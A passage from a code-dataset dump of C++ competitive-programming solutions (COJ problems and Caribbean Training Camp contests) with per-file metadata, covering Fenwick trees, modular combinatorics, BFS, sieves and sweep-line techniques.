{\n\t\t\t\t\t\tif (i < n) {\n\t\t\t\t\t\t\tred_left++;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tblue_left++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif (Q.y > 0 || (Q.y == 0 && Q.x > 0)) {\n\t\t\t\t\t\tE[pos++] = event(fix(Q), color[i], -1);\n\t\t\t\t\t} else if (Q.y < 0) {\n\t\t\t\t\t\tE[pos++] = event(fix(Q), color[i], 1);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (id < n) {\n\t\t\t\tred_left++;\n\t\t\t} else {\n\t\t\t\tblue_left++;\n\t\t\t}\n\t\t\tsort(E, E + pos);\n\t\t\tint best = min(red_left + m - blue_left, blue_left + n - red_left);\n\t\t\t// cerr << \"-->> \" << red_left << \" \" << blue_left << \" \" << best << \"\\n\";\n\t\t\tfor (int i = 0; i < pos; i++) {\n\t\t\t\tif (E[i].c == 0) {\n\t\t\t\t\tred_left += E[i].v;\n\t\t\t\t} else {\n\t\t\t\t\tblue_left += E[i].v;\n\t\t\t\t}\n\t\t\t\t// cerr << \"-->> \" << \"(\" << E[i].P.x << \", \" << E[i].P.y << \") \" << red_left << \" \" << blue_left << \" \" << best << \"\\n\";\n\t\t\t\tbest = min(best, min(red_left + m - blue_left, blue_left + n - red_left));\n\t\t\t}\n\t\t\tanswer = min(answer, best);\n\t\t}\n\t}\n\tcout << answer << \"\\n\";\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tsolve();\n\t}\n}\n\n" }, { "alpha_fraction": 0.4643874764442444, "alphanum_fraction": 0.4881291687488556, "avg_line_length": 19.489795684814453, "blob_id": "b1c1e72fc39f2be34a08154019cf8887a37f1a36", "content_id": "55ee840b045cca0b93c285d6f2665bc864717c41", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1053, "license_type": "no_license", "max_line_length": 59, "num_lines": 49, "path": "/COJ/eliogovea-cojAC/eliogovea-p2590-Accepted-s660659.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <fstream>\r\n#include <vector>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 10005, MAXK = 55, mod = 5000000;\r\n\r\nint N, K;\r\nvector<int> a, b;\r\nint dp[MAXK][MAXN];\r\n\r\nvoid update(int x, int pos, int val) {\r\n\tfor (; pos <= N; pos += pos & -pos)\r\n\t\tdp[x][pos] = (dp[x][pos] + val) % mod;\r\n}\r\n\r\nint query(int x, int pos) {\r\n\tint ret = 0;\r\n\tfor (; pos; pos -= pos & -pos)\r\n\t\tret = (ret + dp[x][pos]) % mod;\r\n\treturn ret;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> N >> K;\r\n\ta.resize(N);\r\n\tb.resize(N);\r\n\tfor (int i = 0; i < N; i++) {\r\n\t\tcin >> a[i];\r\n\t\tb[i] = a[i];\r\n\t}\r\n\tsort(b.begin(), b.end());\r\n\tb.erase(unique(b.begin(), b.end()), b.end());\r\n\tfor (int i = 0; i < N; i++)\r\n\t\ta[i] = upper_bound(b.begin(), b.end(), a[i]) - b.begin();\r\n\tfor (int i = 0; i < N; i++) {\r\n\t\tupdate(1, a[i], 1);\r\n\t\tfor (int j = 2; j <= K; j++) {\r\n\t\t\tint tmp = query(j - 1, a[i] - 1);\r\n\t\t\tupdate(j, a[i], tmp);\r\n\t\t}\r\n\t}\r\n\tcout << query(K, N) << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4153674840927124, "alphanum_fraction": 0.4532293975353241, "avg_line_length": 17.106382369995117, "blob_id": "84e2d39f09d31a9d81907a0655d6d6f9f336b8ea", "content_id": "348a3c21e6e5fb95dd4e4f6ec9097ed3a8c9f2a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 898, "license_type": "no_license", "max_line_length": 47, "num_lines": 47, "path": "/COJ/eliogovea-cojAC/eliogovea-p2586-Accepted-s657004.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst int MAXN = 250000;\r\nconst ll mod = 5000011;\r\n\r\nint n, k;\r\nll fact[MAXN + 5], inv_fact[MAXN + 5], sol = 1;\r\n\r\nll power(ll x, ll nn) {\r\n\tll r = 1ll;\r\n\twhile (nn) {\r\n\t\tif (nn & 1ll) r = (r * x) % mod;\r\n\t\tx = (x * x) % mod;\r\n\t\tnn >>= 1ll;\r\n\t}\r\n\treturn r;\r\n}\r\n\r\nll comb(int n, int p) {\r\n if (p > n || n <= 0) return 0;\r\n if (p == 0 || p == n) return 1;\r\n\tll r = fact[n];\r\n\tr *= inv_fact[p]; r %= mod;\r\n\tr *= inv_fact[n - p]; r %= mod;\r\n\treturn r;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\r\n\tcin >> n >> k;\r\n\r\n\tfact[0] = 1;\r\n\tfor (ll i = 1; i <= n; i++)\r\n\t\tfact[i] = (i * fact[i - 1]) % mod;\r\n\tfor (ll i = 1; i <= n; i++)\r\n\t\tinv_fact[i] = power(fact[i], mod - 2);\r\n\r\n\tfor (int i = 1; k * (i - 1) + i <= n; i++)\r\n\t\tsol = (sol + comb(n - k * (i - 1), i)) % mod;\r\n\tcout << sol << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.334319531917572, "alphanum_fraction": 0.36153846979141235, "avg_line_length": 16.60416603088379, "blob_id": "fc9604ed45efb123ce2ff475a8fe4ef69ae6002e", "content_id": "0000ead528467e2a02a1b333beac2f6402efbab0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1690, "license_type": "no_license", "max_line_length": 58, "num_lines": 96, "path": "/Caribbean-Training-Camp-2018/Contest_3/Solutions/I3.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 2 * 50 * 50 + 10;\n\nconst int M = 1000 * 1000 * 1000 + 7;\n\ninline void add(int & a, int b) {\n a += b;\n if (a >= M) {\n a -= M;\n }\n}\n\ninline int mul(int a, int b) {\n return (long long)a * b % M;\n}\n\ninline int power(int x, int n) {\n int y = 1;\n while (n) {\n if (n & 1) {\n y = mul(y, x);\n }\n x = mul(x, x);\n n >>= 1;\n }\n return y;\n}\n\nint n;\nint a[N];\nint fact[N];\nint invFact[N];\n\nint cp[N];\nint f[N];\nint g[N];\n\ninline int comb(int a, int b) {\n if (a < b || a < 0 || b < 0) {\n return 0;\n }\n return mul(fact[a], mul(invFact[b], invFact[a - b]));\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n // freopen(\"dat.txt\", \"r\", stdin);\n\n fact[0] = 1;\n invFact[0] = 1;\n for (int i = 1; i < N; i++) {\n fact[i] = mul(fact[i - 1], i);\n invFact[i] = power(fact[i], M - 2);\n }\n\n cin >> n;\n\n int t = 0;\n\n for (int i = 0; i < n; i++) {\n cin >> a[i];\n t += a[i];\n }\n\n for (int i = 1; i <= t; i++) {\n int x = 1;\n for (int j = 0; j < n; j++) {\n x = mul(x, comb(a[j] + i - 1, i - 1));\n }\n cp[i] = x;\n // cerr << i << \" \" << x << \"\\n\";\n }\n\n for (int i = 1; i <= t; i++) {\n f[i] = cp[i];\n for (int j = 1; j < i; j++) {\n if (j & 1) {\n add(f[i], M - mul(comb(i, j), cp[i - j]));\n } else {\n add(f[i], mul(comb(i, j), cp[i - j]));\n }\n }\n }\n\n int ans = 0;\n for (int i = 1; i <= t; i++) {\n add(ans, f[i]);\n }\n\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3391999900341034, "alphanum_fraction": 0.3824000060558319, "avg_line_length": 24.04166603088379, "blob_id": "3f0ff45646b00d9a26ec08d848f98451a58835eb", "content_id": "f6c6183451941844a38db5866b0dd299d194af72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 625, "license_type": "no_license", "max_line_length": 53, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p1393-Accepted-s487481.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nlong d[94000],carry,i,j,base,expo,top;\r\n\r\nint main(){\r\n std::ios::sync_with_stdio(false);\r\n cin >> base >> expo;\r\n d[0]=1;\r\n for(i=1; i<=expo; i++){\r\n for(j=0; j<=top; j++){\r\n carry/=10;\r\n carry+=d[j]*base;\r\n d[j]=carry%10;\r\n }\r\n while(carry = carry/10)d[++top]=carry%10;\r\n }\r\n for(i=top; i>=0; i--){\r\n cout << d[i];\r\n if((top-i+1)%70==0)cout << endl;\r\n }\r\n if((top+1)%70!=0)cout << endl;\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.34875115752220154, "alphanum_fraction": 0.3654024004936218, "avg_line_length": 17.654544830322266, "blob_id": "3dab20451eb1a6a7e687f30f41209c2ce6bbf092", "content_id": "3683671473b2688794de4f794c50488a247e2a9a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1081, "license_type": "no_license", "max_line_length": 41, "num_lines": 55, "path": "/COJ/eliogovea-cojAC/eliogovea-p1565-Accepted-s629500.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll MAXN = 10000;\r\n\r\nbool criba[MAXN + 5];\r\nvector<ll> p;\r\nvoid Criba() {\r\n\tfor (int i = 2; i * i <= MAXN; i++)\r\n\t\tif (!criba[i])\r\n\t\t\tfor (int j = i * i; j <= MAXN; j += i)\r\n\t\t\t\tcriba[j] = 1;\r\n\tp.push_back(2);\r\n\tfor (int i = 3; i <= MAXN; i += 2)\r\n\t\tif (!criba[i])\r\n\t\t\tp.push_back(i);\r\n}\r\n\r\nll n, k;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tCriba();\r\n\twhile (cin >> n >> k && (n | k)) {\r\n\t\tll m = k;\r\n\t\tll sol = LLONG_MAX;\r\n\t\tfor (int i = 0; p[i] * p[i] <= m; i++)\r\n\t\t\tif (m % p[i] == 0) {\r\n\t\t\t\tll cont = 0;\r\n\t\t\t\twhile (m % p[i] == 0) {\r\n\t\t\t\t\tcont++;\r\n\t\t\t\t\tm /= p[i];\r\n\t\t\t\t}\r\n\t\t\t\tll a = p[i], x = 0;\r\n\t\t\t\twhile (true) {\r\n\t\t\t\t\tx += n / a;\r\n\t\t\t\t\tif (a > n / p[i]) break;\r\n\t\t\t\t\ta *= p[i];\r\n\t\t\t\t}\r\n\t\t\t\tsol = min(sol, x / cont);\r\n\t\t\t}\r\n if (m > 1) {\r\n ll a = m, x = 0;\r\n while (true) {\r\n x += n / a;\r\n if (a > n / m) break;\r\n a *= m;\r\n }\r\n sol = min(sol, x);\r\n }\r\n\t\tcout << sol << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.36351531744003296, "alphanum_fraction": 0.40612515807151794, "avg_line_length": 15.785714149475098, "blob_id": "4a4cecff9a0e1770c4234ef16ced3b8e196b9e89", "content_id": "95d6f79e1f91d8dff2f41f2b161d1640c93ccd35", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 751, "license_type": "no_license", "max_line_length": 48, "num_lines": 42, "path": "/COJ/eliogovea-cojAC/eliogovea-p1878-Accepted-s517656.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<queue>\r\nusing namespace std;\r\ntypedef pair<int,int> p;\r\n\r\nconst int mov[4][2]={{0,1},{0,-1},{1,0},{-1,0}};\r\n\r\nchar mat[3240][4320];\r\nint C,R;\r\nlong t;\r\n\r\n\r\nqueue<p> q;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d\",&C,&R);\r\n\tfor(int i=0; i<R; i++)\r\n\t\tscanf(\"%s\",&mat[i]);\r\n\r\n\tfor(int i=0; i<R; i++)\r\n\t\tfor(int j=0; j<C; j++)\r\n\t\t\tif(mat[i][j]=='0')\r\n\t\t\t{\r\n\t\t\t\tt++;\r\n\t\t\t\tmat[i][j] = '1';\r\n\t\t\t\tfor(q.push(p(i,j)); !q.empty(); q.pop())\r\n\t\t\t\t\tfor(int r=0; r<4; r++)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tint x=(q.front()).first+mov[r][0],\r\n\t\t\t\t\t\t\ty=(q.front()).second+mov[r][1];\r\n\t\t\t\t\t\tif(x>=0 && x<R && y>=0 && y<C)\r\n\t\t\t\t\t\t\tif(mat[x][y]=='0')\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tmat[x][y]='1';\r\n\t\t\t\t\t\t\t\tq.push(p(x,y));\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t}\r\n\tprintf(\"%d\\n\",t);\r\n\treturn 0;\r\n}\r\n\r\n\r\n" }, { "alpha_fraction": 0.38596490025520325, "alphanum_fraction": 0.42105263471603394, "avg_line_length": 17.899999618530273, "blob_id": "c0c01d1ea8d00ee7f520aa332b6b01ca39d60e03", "content_id": "a8a45c2780474e52414e37d1bb4018021cc53b0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 798, "license_type": "no_license", "max_line_length": 62, "num_lines": 40, "path": "/COJ/eliogovea-cojAC/eliogovea-p2307-Accepted-s596531.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "\r\n#include <iostream>\r\n#include <cstdio>\r\n#include <algorithm>\r\n#include <cmath>\r\n#include <queue>\r\n#include <vector>\r\n#include <map>\r\n#include <set>\r\n#include <cstring>\r\n\r\nusing namespace std;\r\n\r\n#define sf scanf\r\n#define pf printf\r\n#define ll long long\r\n\r\nint v['Z' + 1];\r\n\r\nint main()\r\n{\r\n v['I'] = 1;\r\n v['V'] = 5;\r\n v['X'] = 10;\r\n v['L'] = 50;\r\n v['C'] = 100;\r\n v['D'] = 500;\r\n v['M'] = 1000;\r\n int n;\r\n char str[100];\r\n for (scanf(\"%d\", &n); n--;)\r\n {\r\n scanf(\"%s\", str);\r\n int l = strlen(str);\r\n int x = v[ str[l - 1] ];\r\n for (int i = l - 1; i > 0; i--)\r\n if (v[str[i]] > v[str[i - 1]]) x -= v[str[i - 1]];\r\n else x += v[ str[i - 1] ];\r\n printf(\"%s %d\\n\", (x % 3 == 0) ? \"YES\" : \"NO\", x);\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.3054298758506775, "alphanum_fraction": 0.3936651647090912, "avg_line_length": 16.41666603088379, "blob_id": "76744bf2541defab825430351dc43aeeed421773", "content_id": "792c7eb2afbb5ce22808ab2ecd18bea7dbd7465f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 442, "license_type": "no_license", "max_line_length": 52, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p2257-Accepted-s496276.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nconst int MOD = 1000000007;\r\nint par[1001][1001],n,k,c;\r\n\r\nint main()\r\n{\r\n for(int i=1; i<=1000; i++)\r\n {\r\n par[1][i]=i;\r\n par[i][1]=1;\r\n }\r\n for(int i=2; i<=1000; i++)\r\n for(int j=2; j<=1000; j++)\r\n par[i][j]=(par[i-1][j]+par[i][j-1])%MOD;\r\n\r\n scanf(\"%d\",&c);\r\n while(c--)\r\n {\r\n scanf(\"%d%d\",&n,&k);\r\n printf(\"%d\\n\",par[n][k]);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3556005358695984, "alphanum_fraction": 0.3785425126552582, "avg_line_length": 23.517240524291992, "blob_id": "21f24fb6c7295ad6d57c0170675069338d019744", "content_id": "a1f874b2040068e79b0f62c3e3e1b6ad89fdc7a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1482, "license_type": "no_license", "max_line_length": 78, "num_lines": 58, "path": "/COJ/eliogovea-cojAC/eliogovea-p3018-Accepted-s691401.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 3018.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description : Hello World in C++, Ansi-style\r\n//============================================================================\r\n\r\n#include <iostream>\r\n#include <queue>\r\n\r\nusing namespace std;\r\n\r\nconst int dx[] = {1, 0, -1, 0};\r\nconst int dy[] = {0, 1, 0, -1};\r\n\r\nint tc, r, c, bx, by, ex, ey, dist[35][35];\r\nstring m[35];\r\nqueue<int> Qx, Qy;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> r >> c;\r\n\t\tfor (int i = 0; i < r; i++) {\r\n\t\t\tcin >> m[i];\r\n\t\t\tfor (int j = 0; j < c; j++) {\r\n\t\t\t\tif (m[i][j] == 'b') bx = i, by = j;\r\n\t\t\t\tif (m[i][j] == 'g') ex = i, ey = j;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 0; i < r; i++)\r\n\t\t\tfor (int j = 0; j < c; j++)\r\n\t\t\t\tdist[i][j] = -1;\r\n\t\tdist[bx][by] = 0;\r\n\t\tQx.push(bx);\r\n\t\tQy.push(by);\r\n\t\twhile (!Qx.empty()) {\r\n\t\t\tint x = Qx.front(); Qx.pop();\r\n\t\t\tint y = Qy.front(); Qy.pop();\r\n\t\t\tfor (int i = 0; i < 4; i++) {\r\n\t\t\t\tint nx = x + dx[i];\r\n\t\t\t\tint ny = y + dy[i];\r\n\t\t\t\tif (nx < 0 || nx >= r || ny < 0 || ny >= c) continue;\r\n\t\t\t\tif (m[nx][ny] != '.' && m[nx][ny] != 'g') continue;\r\n\t\t\t\tif (dist[nx][ny] == -1 || dist[nx][ny] > dist[x][y] + 1) {\r\n\t\t\t\t\tdist[nx][ny] = dist[x][y] + 1;\r\n\t\t\t\t\tQx.push(nx);\r\n\t\t\t\t\tQy.push(ny);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (dist[ex][ey] != -1) cout << \"Good\\n\";\r\n\t\telse cout << \"Bad\\n\";\r\n\t}\r\n}\r\n\r\n" }, { "alpha_fraction": 0.302325576543808, "alphanum_fraction": 0.3372093141078949, "avg_line_length": 16.428571701049805, "blob_id": "fd90b90f0b05c05aa99a678f218a37bfbe89c1fb", "content_id": "9d0544c5680d504df54865b8c45eacb8222a4a35", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 516, "license_type": "no_license", "max_line_length": 48, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p1658-Accepted-s487270.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint c,n,a[1000],l[1000],MAX;\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&c);\r\n while(c--)\r\n {\r\n scanf(\"%d\",&n);\r\n for(int i=0; i<n; i++)scanf(\"%d\",&a[i]);\r\n\r\n for(int i=0; i<n; i++)l[i]=1;\r\n\r\n for(int i=1; i<n; i++)\r\n for(int j=0; j<i; j++)\r\n if(a[i]>a[j] && l[i]<l[j]+1)\r\n l[i]=l[j]+1;\r\n\r\n for(int i=0; i<n; i++)\r\n if(MAX<l[i])MAX=l[i];\r\n\r\n printf(\"%d\\n\",MAX);\r\n\r\n MAX=0;\r\n }\r\nreturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.4157303273677826, "alphanum_fraction": 0.4419475793838501, "avg_line_length": 12.833333015441895, "blob_id": "fd58e263530c907c52f27a7faaee2608bdb689c4", "content_id": "4c5f60c361d0b0aeddfcf5bcebc741fab2d6b65d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 267, "license_type": "no_license", "max_line_length": 29, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p1777-Accepted-s636902.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint n;\r\nbool a[10005];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin >> n;\r\n\tfor (int i = n, x; i; i--) {\r\n\t\tcin >> x;\r\n\t\ta[x] = 1;\r\n\t}\r\n\tfor (int i = n; i >= 1; i--)\r\n if (a[i]) n--;\r\n cout << n << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.30442479252815247, "alphanum_fraction": 0.3699114918708801, "avg_line_length": 15.121212005615234, "blob_id": "98b3068c6e5c08aeefdf9f68b8d409d30371ca85", "content_id": "90d4fad2a101667e90e3a237f319ef4883d2d98c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 565, "license_type": "no_license", "max_line_length": 31, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p3157-Accepted-s903349.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstring s;\r\nlong long dp[5][100005];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint n;\r\n\tcin >> n;\r\n\tcin >> s;\r\n\tdp[0][0] = 1;\r\n\tdp[1][0] = 0;\r\n\tdp[2][0] = 0;\r\n\tdp[3][0] = 0;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tfor (int j = 0; j < 4; j++) {\r\n\t\t\tdp[j][i] = dp[j][i - 1];\r\n\t\t}\r\n\t\tif (s[i - 1] == 'C') {\r\n\t\t\tdp[1][i] += dp[0][i - 1];\r\n\t\t}\r\n\t\tif (s[i - 1] == 'O') {\r\n\t\t\tdp[2][i] += dp[1][i - 1];\r\n\t\t}\r\n\t\tif (s[i - 1] == 'W') {\r\n\t\t\tdp[3][i] += dp[2][i - 1];\r\n\t\t}\r\n\t}\r\n\tcout << dp[3][n] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4175824224948883, "alphanum_fraction": 0.4497041404247284, "avg_line_length": 22.14285659790039, "blob_id": "709e81d4d7e2d85d8ef68b07813dbf1e8258658b", "content_id": "f5dbc8c27c0bd51617763f1db00e8490236446b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1183, "license_type": "no_license", "max_line_length": 86, "num_lines": 49, "path": "/COJ/eliogovea-cojAC/eliogovea-p2834-Accepted-s603023.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <iostream>\r\n#include <vector>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst int MAXN = 100000;\r\nconst ll mod = 1000000007;\r\n\r\nll n;\r\nbool criba[MAXN + 10];\r\nvector<ll> p, f;\r\n\r\nint main() {\r\n\r\n\tfor (ll i = 2; i * i <= MAXN; i++)\r\n\t\tif (!criba[i])\r\n\t\t\tfor (ll j = i * i; j <= MAXN; j += i)\r\n\t\t\t\tcriba[j] = 1;\r\n\tfor (int i = 2; i <= MAXN; i++) if (!criba[i]) p.push_back(i);\r\n\twhile (scanf(\"%lld\", &n) == 1) {\r\n\t\tf.clear();\r\n\t\tll v = n;\r\n\t\tfor (vector<ll>::iterator it = p.begin(); (*it) * (*it) <= n; it++)\r\n\t\t\tif (n % *it == 0) {\r\n\t\t\t\tf.push_back(*it);\r\n\t\t\t\twhile (n % *it == 0) n /= *it;\r\n\t\t\t}\r\n\t\tif (n > 1ll) f.push_back(n);\r\n\r\n\t\tint s = f.size();\r\n\t\tll sol = 0ll;\r\n\r\n\t\t//for (int i = 0; i < s; i++) printf(\"%d \", f[i]);\r\n\t\t//printf(\"\\n\");\r\n\r\n\t\tfor (int mask = 1; mask < (1 << s); mask++) {\r\n\t\t\tint cont = 0;\r\n\t\t\tll prod = 1;\r\n\t\t\tfor (int i = 0; i < s; i++) if (mask & (1 << i)) cont++, prod *= f[i];\r\n\t\t\t//printf(\"%d\\n\", cont);\r\n\t\t\tif (cont & 1) sol = (sol + (prod * (v / prod) * ((v / prod) - 1) / 2) % mod) % mod;\r\n\t\t\telse sol = (sol - (prod * (v / prod) * ((v / prod) - 1) / 2) % mod + mod) % mod;\r\n\t\t}\r\n\t\tprintf(\"%lld\\n\", sol);\r\n\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4314546287059784, "alphanum_fraction": 0.452534019947052, "avg_line_length": 20.9311466217041, "blob_id": "f45e9bfb24af4ad648e59a698156592046006bad", "content_id": "4ba048f982148de7e1e8c100245fe8a0e1f7a149", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6689, "license_type": "no_license", "max_line_length": 122, "num_lines": 305, "path": "/Caribbean-Training-Camp-2017/Contest_1/Solutions/H1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\ntypedef long long ll;\ntypedef pair<ll,int> par;\nconst int UP = 0,\n\t \t RIGHT = 1,\n\t \t DOWN = 2,\n\t \t LEFT = 3;\nconst ll oo = (ll)100000LL * 1000000000LL * 2LL;\nconst int maxn = 100100;\n\nint dir = 0;\nstruct event{\n\tll x;\n\tll lo, hi;\n\tint val, id;\n\tbool operator<( const event &b ) const{\n\t\tif( x != b.x )\n\t\t\treturn x < b.x;\n\t\treturn val < b.val;\n\t}\n};\n\nint n;\nvector<event> e;\n\nvoid add_events_line( ll &x, ll &y, int dir, ll delta ){\n\tll nx, ny;\n\tif( dir == UP ){\n\t\tny = y+delta;\n\t\tnx = x;\n\t\te.push_back( (event){ x, y, ny, +1 } );\n\t\te.push_back( (event){ oo,y, ny, -1 } );\n\t}\n\telse if( dir == RIGHT ){\n\t\tnx = x + delta;\n\t\tny = y;\n\t\te.push_back( (event){ x, y, -oo, +1 } );\n\t\te.push_back( (event){ nx,y, -oo, -1 } );\n\t}\n\telse if( dir == DOWN ){\n\t\tny = y - delta;\n\t\tnx = x;\n\t\te.push_back( (event){ -oo, ny, y, +1 } );\n\t\te.push_back( (event){ x, ny, y, -1 } );\n\t}\n\telse if( dir == LEFT ){\n\t\tnx = x - delta;\n\t\tny = y;\n\t\te.push_back( (event){ nx, y, +oo, +1 } );\n\t\te.push_back( (event){ x, y, +oo, -1 } );\n\t}\n\tx = nx;\n\ty = ny;\n}\n\nint get_next_dir( int cur, char c ){\n\tif( c =='R' )\n\t\tcur++;\n\telse\n\t\tcur--;\n\n\treturn ((cur%4)+4 ) % 4;\n}\n\nvoid add_events_rect( ll x, ll y, int &dir, char turn ){\n\tint nex_dir = get_next_dir( dir, turn );\n\tif( dir == UP ){\n\t\tif( nex_dir == RIGHT ){//ok\n\t\t\te.push_back( (event){ x, y, -oo, +1 } );\n\t\t\te.push_back( (event){ oo, y, -oo, -1 } );\n\t\t}\n\t\telse if( nex_dir == LEFT ){//ok\n\t\t\te.push_back( (event){ x, y, oo, +1 } );\n\t\t\te.push_back( (event){ +oo, y, oo, -1 } );\n\t\t}\n\t}\n\telse if( dir == RIGHT ){\n\t\tif( nex_dir == UP ){///ok\n\t\t\te.push_back( (event){ x, -oo, y, +1 } );\n\t\t\te.push_back( (event){ +oo, -oo, y, -1 } );\n\t\t}\n\t\telse if( nex_dir == DOWN ){//ok\n\t\t\te.push_back( (event){ -oo, y, -oo, +1 } );\n\t\t\te.push_back( (event){ x, y, -oo, -1 } );\n\t\t}\n\t}\n\telse if( dir == DOWN ){\n\t\tif( nex_dir == RIGHT ){//ok\n\t\t\te.push_back( (event){ -oo, -oo, y, +1 } );\n\t\t\te.push_back( (event){ x, -oo, y, -1 } );\n\t\t}\n\t\telse if( nex_dir == LEFT ){//ok\n\t\t\te.push_back( (event){ -oo, y, oo, +1 } );\n\t\t\te.push_back( (event){ x, y, oo, -1 } );\n\t\t}\n\t}\n\telse if( dir == LEFT ){\n\t\tif( nex_dir == UP ){//ok\n\t\t\te.push_back( (event){ x, y, +oo, +1 } );\n\t\t\te.push_back( (event){ +oo,y,+oo, -1 } );\n\t\t}\n\t\telse if( nex_dir == DOWN ){\n\t\t\te.push_back( (event){ -oo, y, oo, +1 } );\n\t\t\te.push_back( (event){ x, y, oo, -1 } );\n\t\t}\t\n\t}\n\tdir = nex_dir;\n}\n\nint CNT = 0;\nmap<ll, int> Hash;\nmap<int,ll> Un_hash;\n\nvoid commpress_coord(){\n\tvector<ll> vals;\n\tfor( int i = 0; i < (int)e.size(); i++ ){\n\t//\tif( e[i].lo > e[i].hi )\n\t//\t\tswap( e[i].lo, e[i].hi );\n\t\tvals.push_back( e[i].x );\n\t\tvals.push_back( e[i].lo );\n\t\tvals.push_back( e[i].hi );\n\t}\n\tsort( vals.begin(), vals.end() );\n\tvals.erase( unique( vals.begin(), vals.end() ), vals.end() );\n\tfor( int i = 0; i < (int)vals.size(); i++ ){\n\t\tHash[ vals[i] ] = ++CNT;\n\t\tUn_hash[ CNT ] = vals[i];\n\t\t//cout << 